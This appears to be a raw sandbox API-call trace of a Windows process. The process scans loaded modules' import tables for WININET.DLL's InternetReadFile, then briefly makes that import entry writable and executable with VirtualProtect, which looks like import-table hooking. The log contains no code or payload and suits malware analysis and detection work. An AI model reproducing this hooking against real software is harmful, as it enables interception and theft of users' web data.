(lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.491] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0082.491] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.491] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.491] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.491] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0082.491] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.491] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.491] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.491] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.492] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0082.492] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.492] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.492] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.492] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0082.492] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0082.493] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.493] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.493] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.493] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0082.493] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.493] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74950000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74950000, AllocationBase=0x74950000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.493] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.493] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.493] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.493] lstrcmpiA (lpString1="gdiplus.dll", lpString2="WININET.DLL") returned -1 [0082.493] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.493] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.494] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74940000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74940000, AllocationBase=0x74940000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.494] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.494] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.494] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73500000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x73500000, AllocationBase=0x73500000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.494] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.494] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.494] lstrcmpiA (lpString1="gdiplus.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="COMCTL32.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="COMDLG32.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="hlink.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="ImgUtil.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="USP10.dll", lpString2="WININET.DLL") returned -1 [0082.494] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.494] lstrcmpiA (lpString1="UnlockUrlCacheEntryFileA", lpString2="InternetReadFile") returned 1 [0082.494] lstrcmpiA (lpString1="InternetOpenW", lpString2="InternetReadFile") returned -1 [0082.494] lstrcmpiA (lpString1="InternetOpenUrlW", lpString2="InternetReadFile") returned -1 [0082.494] lstrcmpiA (lpString1="HttpQueryInfoW", lpString2="InternetReadFile") returned -1 [0082.494] lstrcmpiA (lpString1="InternetCloseHandle", lpString2="InternetReadFile") returned -1 [0082.494] lstrcmpiA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetReadFile") returned -1 [0082.494] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetReadFile") returned -1 [0082.494] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.494] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="InternetReadFile") returned -1 [0082.494] lstrcmpiA (lpString1="RetrieveUrlCacheEntryFileA", lpString2="InternetReadFile") returned 1 [0082.494] lstrcmpiA (lpString1="SetUrlCacheEntryInfoA", lpString2="InternetReadFile") returned 1 [0082.495] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="CreateUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="CreateUrlCacheContainerW", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="InternetUnlockRequestFile", lpString2="InternetReadFile") returned 1 [0082.495] lstrcmpiA (lpString1="IsUrlCacheEntryExpiredW", lpString2="InternetReadFile") returned 1 [0082.495] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetReadFile") returned 1 [0082.495] lstrcmpiA (lpString1="InternetAlgIdToStringW", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="InternetSecurityProtocolToStringW", lpString2="InternetReadFile") returned 1 [0082.495] lstrcmpiA (lpString1="InternetTimeToSystemTimeW", lpString2="InternetReadFile") returned 1 [0082.495] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetReadFile") returned 1 [0082.495] lstrcmpiA (lpString1="InternetGetCertByURL", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="InternetReadFile") returned 1 [0082.495] lstrcmpiA (lpString1="InternetGetCookieExW", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFile") returned -1 [0082.495] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="InternetReadFile") returned -1 [0082.495] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.495] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.496] VirtualProtect (in: lpAddress=0x73a38328, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x4) returned 1 [0082.496] VirtualProtect (in: lpAddress=0x73a38328, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.497] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74870000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74870000, AllocationBase=0x74870000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.497] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.497] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.497] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.497] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.497] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.497] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.497] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.497] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.497] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.497] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.497] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.497] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.497] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.497] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.497] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.497] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.497] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.497] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.497] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.497] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.497] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.497] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.497] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.497] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.497] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.497] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.497] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.497] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.497] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.497] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.497] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.497] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.497] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.497] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.497] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.498] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.498] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.498] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.498] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.498] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74860000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74860000, AllocationBase=0x74860000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.498] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.498] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.498] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.498] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.498] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.498] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.498] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.498] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.498] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.498] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.498] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.498] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.498] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.498] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.498] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.498] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.498] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.498] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.498] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.498] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.498] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.498] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.499] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.499] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.499] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.499] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.499] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.499] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.499] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.499] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.499] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.499] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.499] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73270000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x73270000, AllocationBase=0x73270000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.499] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.499] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.499] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 